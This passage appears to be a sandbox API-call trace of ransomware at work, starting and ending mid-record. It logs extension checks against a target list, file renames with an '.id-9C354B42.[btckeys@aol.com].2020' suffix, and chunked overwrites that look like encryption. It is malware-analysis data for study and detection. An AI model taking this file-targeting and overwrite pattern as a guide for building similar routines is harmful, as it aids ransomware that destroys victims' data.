(lpString=".docx") returned 5 [0083.106] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.106] lstrlenW (lpString=".pdf") returned 4 [0083.106] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.106] lstrlenW (lpString=".xls") returned 4 [0083.106] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.106] lstrlenW (lpString=".xlsx") returned 5 [0083.106] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.106] lstrlenW (lpString=".ppt") returned 4 [0083.106] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.106] lstrlenW (lpString=".zip") returned 4 [0083.106] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.107] lstrlenW (lpString=".rar") returned 4 [0083.107] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.107] lstrlenW (lpString=".bz2") returned 4 [0083.107] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.107] lstrlenW (lpString=".7z") returned 3 [0083.107] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.107] lstrlenW (lpString=".dbf") returned 4 [0083.107] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.107] lstrlenW (lpString=".1cd") returned 4 [0083.107] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.107] lstrlenW (lpString=".jpg") returned 4 [0083.107] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.107] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0083.107] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0083.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0083.110] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=2604) returned 1 [0083.110] CloseHandle (hObject=0x198) returned 1 [0083.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0083.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0083.110] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.110] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0083.113] GetLastError () returned 0x0 [0083.113] ReadFile (hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0) Thread: id = 13 os_tid = 0xa78 [0060.796] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x590940 [0060.797] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3860048 [0060.797] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500368 [0060.797] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030a8 [0060.797] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500380 [0060.797] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3960020 [0060.797] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500398 [0060.797] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500398, Size=0x20) returned 0x52f938 [0060.798] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500398 [0060.798] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500398, Size=0x20) returned 0x52f910 [0060.798] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.798] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.798] Wow64DisableWow64FsRedirection (in: OldValue=0x2daff58 | out: OldValue=0x2daff58*=0x0) returned 1 [0060.798] lstrlenW (lpString="kernel32.dll") returned 12 [0060.798] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f938 | out: hHeap=0x4b0000) returned 1 [0060.798] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.798] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f910 | out: hHeap=0x4b0000) returned 1 [0060.798] Sleep (dwMilliseconds=0x64) [0061.027] lstrcmpiW (lpString1=".LOG2", lpString2=".2020") returned 1 [0061.027] lstrlenW (lpString="BCD.LOG2") returned 8 [0061.027] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.360] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=0) returned 1 [0061.360] CloseHandle (hObject=0x164) returned 1 [0061.360] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.360] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.360] lstrlenW (lpString=".doc") returned 4 [0061.360] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0061.360] lstrlenW (lpString=".docx") returned 5 [0061.360] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0061.360] lstrlenW (lpString=".pdf") returned 4 [0061.360] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0061.360] lstrlenW (lpString=".xls") returned 4 [0061.360] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0061.360] lstrlenW (lpString=".xlsx") returned 5 [0061.360] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0061.360] lstrlenW (lpString=".ppt") returned 4 [0061.360] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0061.360] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.360] lstrlenW (lpString=".zip") returned 4 [0061.360] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString=".rar") returned 4 [0061.361] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString=".bz2") returned 4 [0061.361] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString=".7z") returned 3 [0061.361] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0061.361] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.361] lstrlenW (lpString=".dbf") returned 4 [0061.361] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.361] lstrlenW (lpString=".1cd") returned 4 [0061.361] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.361] lstrlenW (lpString=".jpg") returned 4 [0061.361] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.361] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.361] lstrlenW (lpString=".doc") returned 4 [0061.361] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString=".docx") returned 5 [0061.361] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0061.361] lstrlenW (lpString=".pdf") returned 4 [0061.361] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString=".xls") returned 4 [0061.361] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString=".xlsx") returned 5 [0061.361] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0061.361] lstrlenW (lpString=".ppt") returned 4 [0061.361] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.361] lstrlenW (lpString=".zip") returned 4 [0061.361] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0061.361] lstrlenW (lpString=".rar") returned 4 [0061.361] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0061.362] lstrlenW (lpString=".bz2") returned 4 [0061.362] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0061.362] lstrlenW (lpString=".7z") returned 3 [0061.362] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0061.362] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.362] lstrlenW (lpString=".dbf") returned 4 [0061.362] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0061.362] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.362] lstrlenW (lpString=".1cd") returned 4 [0061.362] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0061.362] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0061.362] lstrlenW (lpString=".jpg") returned 4 [0061.362] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0061.362] Sleep (dwMilliseconds=0x64) [0062.132] Sleep (dwMilliseconds=0x64) [0062.366] Sleep (dwMilliseconds=0x64) [0062.479] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0062.479] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0062.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0062.479] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2503680) returned 1 [0062.479] CloseHandle (hObject=0x168) returned 1 [0062.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0062.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.479] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0062.480] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0062.480] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0062.480] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0062.480] ReadFile (in: hFile=0x168, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.501] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0062.501] ReadFile (in: hFile=0x168, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.514] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.514] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0062.514] ReadFile (in: hFile=0x168, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.650] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.650] WriteFile (in: hFile=0x168, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0062.673] SetEndOfFile (hFile=0x168) returned 1 [0062.673] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ef38d0 [0062.677] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0062.677] WriteFile (in: hFile=0x168, lpBuffer=0x3ef38d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef38d0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.956] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0062.956] WriteFile (in: hFile=0x168, lpBuffer=0x3ef38d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef38d0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.986] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0062.986] WriteFile (in: hFile=0x168, lpBuffer=0x3ef38d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef38d0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0062.991] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef38d0 | out: hHeap=0x4b0000) returned 1 [0062.992] CloseHandle (hObject=0x168) returned 1 [0064.834] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0064.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.834] lstrlenW (lpString=".doc") returned 4 [0064.834] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0064.834] lstrlenW (lpString=".docx") returned 5 [0064.834] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0064.834] lstrlenW (lpString=".pdf") returned 4 [0064.834] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0064.834] lstrlenW (lpString=".xls") returned 4 [0064.834] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0064.834] lstrlenW (lpString=".xlsx") returned 5 [0064.834] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0064.834] lstrlenW (lpString=".ppt") returned 4 [0064.835] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0064.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.835] lstrlenW (lpString=".zip") returned 4 [0064.835] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0064.835] lstrlenW (lpString=".rar") returned 4 [0064.835] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0064.835] lstrlenW (lpString=".bz2") returned 4 [0064.835] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0064.835] lstrlenW (lpString=".7z") returned 3 [0064.835] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0064.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.835] lstrlenW (lpString=".dbf") returned 4 [0064.835] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0064.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.835] lstrlenW (lpString=".1cd") returned 4 [0064.835] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0064.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.835] lstrlenW (lpString=".jpg") returned 4 [0064.835] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0064.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.835] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.835] lstrlenW (lpString=".doc") returned 4 [0064.835] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0064.835] lstrlenW (lpString=".docx") returned 5 [0064.836] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0064.836] lstrlenW (lpString=".pdf") returned 4 [0064.836] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0064.836] lstrlenW (lpString=".xls") returned 4 [0064.836] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0064.836] lstrlenW (lpString=".xlsx") returned 5 [0064.836] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0064.836] lstrlenW (lpString=".ppt") returned 4 [0064.836] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0064.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.836] lstrlenW (lpString=".zip") returned 4 [0064.836] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0064.836] lstrlenW (lpString=".rar") returned 4 [0064.836] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0064.836] lstrlenW (lpString=".bz2") returned 4 [0064.836] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0064.836] lstrlenW (lpString=".7z") returned 3 [0064.836] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0064.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.836] lstrlenW (lpString=".dbf") returned 4 [0064.836] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0064.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.836] lstrlenW (lpString=".1cd") returned 4 [0064.836] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0064.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0064.836] lstrlenW (lpString=".jpg") returned 4 [0064.837] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0064.837] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0064.837] lstrlenW (lpString="PubLR.cab") returned 9 [0064.837] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0064.837] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=9958388) returned 1 [0064.837] CloseHandle (hObject=0x168) returned 1 [0064.837] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0064.837] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0064.838] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0064.838] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0064.838] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0064.838] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0064.839] ReadFile (in: hFile=0x168, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0065.050] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0065.050] ReadFile (in: hFile=0x168, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0065.085] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0065.085] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0065.085] ReadFile (in: hFile=0x168, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0065.141] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0065.141] WriteFile (in: hFile=0x168, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0066.087] SetEndOfFile (hFile=0x168) returned 1 [0066.087] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f34f98 [0066.087] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0066.088] WriteFile (in: hFile=0x168, lpBuffer=0x3f34f98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34f98*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0066.115] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, 